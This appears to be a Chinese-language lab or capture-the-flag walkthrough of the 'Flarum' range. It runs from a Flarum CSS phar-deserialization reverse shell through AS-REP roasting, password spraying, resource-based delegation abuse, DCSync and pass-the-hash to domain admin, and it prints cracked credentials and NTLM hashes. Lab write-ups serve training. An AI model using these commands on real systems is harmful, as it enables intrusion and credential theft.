Flarum

flag01

1
2
3
4
5
39.101.188.77:22 open
39.101.188.77:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.101.188.77 code:200 len:5882 title:霄壤社区

Flarum框架的一个网站,存在弱口令

1
administrator/1chris

进入后台管理,在外观界面自定义CSS

参考博客:https://mp.weixin.qq.com/s/EqEyEDKpzxS5BYA_t74p9A生成payload

1
./phpggc -p tar -b Monolog/RCE6 system "bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'"

填入如下内容

1
@import (inline) 'data:text/css;base64,payload';

保存之后再次修改CSS

1
2
3
.test {
content: data-uri('phar://./assets/forum.css');
}

保存后即可触发反弹shell,提权参考https://www.cnblogs.com/f-carey/p/16026088.html

1
openssl enc -in "/root/flag/flag01.txt"

flag02

搭建代理,扫描内网

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
172.22.60.42:135 open
172.22.60.8:88 open
172.22.60.42:445 open
172.22.60.8:445 open
172.22.60.15:445 open
172.22.60.42:139 open
172.22.60.8:139 open
172.22.60.15:139 open
172.22.60.8:135 open
172.22.60.15:135 open
172.22.60.52:80 open
172.22.60.52:22 open
[*] alive ports len is: 12
start vulscan
[*] NetBios: 172.22.60.42 XIAORANG\FILESERVER
[*] NetInfo:
[*]172.22.60.8
[->]DC
[->]172.22.60.8
[->]169.254.236.57
[*] NetInfo:
[*]172.22.60.15
[->]PC1
[->]172.22.60.15
[->]169.254.192.250
[*] NetInfo:
[*]172.22.60.42
[->]Fileserver
[->]172.22.60.42
[->]169.254.108.2
[*] NetBios: 172.22.60.15 XIAORANG\PC1
[*] NetBios: 172.22.60.8 [+]DC XIAORANG\DC
[*] WebTitle: http://172.22.60.52 code:200 len:5867 title:霄壤社区

入口机上蚁剑脱库,可以得到一推域用户,跑一下看看有没有设置不需要预身份认证的

1
proxychains4 impacket-GetNPUsers -dc-ip 172.22.60.8 -usersfile user.txt xiaorang.lab/ 2>/dev/null

拿着得到的哈希爆一下

1
hashcat -a 0 -m 18200 --force hash.txt ./rockyou.txt

结果如下

1
wangyun/Adm12geC

尝试爆破一下rdp

1
proxychains4 crackmapexec smb 172.22.60.1/24 -u wangyun -p Adm12geC --continue-on-success 2>/dev/null

结果如下

1
2
SMB         172.22.60.15    445    PC1              [+] xiaorang.lab\wangyun:Adm12geC
SMB 172.22.60.8 445 DC [+] xiaorang.lab\wangyun:Adm12geC

DC不用想了,可以确定就是那个PC1可以登录,rdp上去之后桌面有个xshell,收集一下密码

1
SharpXDecrypt.exe

可以得到xshell的账号密码,结果如下

1
2
UserName: zhangxin
Password: admin4qwY38cc

先收集一波域内信息

image-20240923122244244

可以发现zhangxin是属于AO组的,参考我的https://bowuchuling.github.io/posts/yushentouweipai.html,可以利用此组拿下FILESERVER这台机器

1
2
3
4
5
6
# 导入模块
Import-Module .\Powermad.ps1
# 设置机器账户的密码
$Password = ConvertTo-SecureString 'whoami@666' -AsPlainText -Force
# 通过 New-MachineAccount 函数创建机器账户
New-MachineAccount -MachineAccount "hacker" -Password $($Password) -Domain "xiaorang.lab" -DomainController "DC.xiaorang.lab" -Verbose

查看新机器账户的sid

1
Import-Module .\PowerView.ps1;Get-NetComputer hacker -Properties objectsid

结果如下

1
S-1-5-21-3535393121-624993632-895678587-1116

设置msDS-AllowedToActOnBehalfOfOtherIdentity为刚创建的机器账户

1
import-module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3535393121-624993632-895678587-1116)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer FILESERVER| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose 

可以检查一下

1
Get-DomainComputer FILESERVER -Properties msds-allowedtoactonbehalfofotheridentity

丝滑小连招

1
2
3
4
5
6
#申请票据
proxychains4 impacket-getST xiaorang.lab/hacker$:whoami@666 -spn cifs/FILESERVER.xiaorang.lab -impersonate administrator -dc-ip 172.22.60.8
#导入票据
export KRB5CCNAME=administrator@cifs_FILESERVER.xiaorang.lab@XIAORANG.LAB.ccache
#无密码连接
proxychains4 impacket-smbexec -k xiaorang.lab/administrator@FILESERVER.xiaorang.lab -no-pass -dc-ip 172.22.60.8 -codec gbk

这里还是得dump一下哈希

1
proxychains4 impacket-secretsdump -k -no-pass FILESERVER.xiaorang.lab -dc-ip 172.22.60.8

结果如下

1
2
3
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bd8e2e150f44ea79fff5034cad4539fc:::

XIAORANG\Fileserver$:aad3b435b51404eeaad3b435b51404ee:951d8a9265dfb652f42e5c8c497d70dc:::

横向FILESERVER可以拿到flag

1
proxychains4 impacket-psexec -k xiaorang.lab/administrator@FILESERVER.xiaorang.lab -no-pass -dc-ip 172.22.60.8 -codec gbk

flag03

后面就是用FILESERVER进行dcsync了,用上面机器账户的哈希

1
proxychains4 impacket-secretsdump xiaorang.lab/'Fileserver$':@172.22.60.8 -hashes ':951d8a9265dfb652f42e5c8c497d70dc' -just-dc-user Administrator

结果如下

1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c3cfdc08527ec4ab6aa3e630e79d349b:::

横向域控

1
proxychains4 impacket-smbexec -hashes :c3cfdc08527ec4ab6aa3e630e79d349b xiaorang.lab/administrator@172.22.60.8 -codec gbk

flag04

拿着域管哈希横向开始zhangxin的那台机器即可

1
proxychains4 impacket-smbexec -hashes :c3cfdc08527ec4ab6aa3e630e79d349b xiaorang.lab/administrator@172.22.60.15 -codec gbk